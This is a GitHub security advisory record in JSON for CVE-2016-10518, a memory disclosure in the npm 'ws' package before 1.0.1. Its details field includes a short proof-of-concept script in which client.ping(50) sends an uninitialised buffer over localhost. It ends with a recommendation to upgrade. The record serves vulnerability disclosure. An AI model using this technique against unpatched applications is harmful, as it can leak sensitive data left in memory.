{"id":"GHSA-2mhh-w6q8-5hxw","summary":"Remote Memory Disclosure in ws","details":"Versions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability.\n\nIn certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.\n\n\n\n## Proof of Concept\n```\nvar ws = require('ws')\n\nvar server = new ws.Server({ port: 9000 })\nvar client = new ws('ws://localhost:9000')\n\nclient.on('open', function () {\n  console.log('open')\n  client.ping(50) // this sends a non-zeroed buffer of 50 bytes\n\n  client.on('pong', function (data) {\n    console.log('got pong')\n    console.log(data) // Data from the client. \n  })\n})\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or greater.","aliases":["CVE-2016-10518"],"modified":"2023-11-08T03:58:10.113790Z","published":"2019-02-18T23:56:42Z","database_specific":{"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2020-06-16T20:52:34Z","nvd_published_at":null,"cwe_ids":["CWE-201"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-10518"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/29293ed11b679e0366fa0f6bb9310b330dafd795"},{"type":"WEB","url":"https://gist.github.com/c0nrad/e92005446c480707a74a"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2mhh-w6q8-5hxw"},{"type":"WEB","url":"https://github.com/websockets/ws/releases/tag/1.0.1"},{"type":"WEB","url":"https://www.npmjs.com/advisories/67"}],"affected":[{"package":{"name":"ws","ecosystem":"npm","purl":"pkg:npm/ws"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-2mhh-w6q8-5hxw/GHSA-2mhh-w6q8-5hxw.json"}}],"schema_version":"1.9.0"}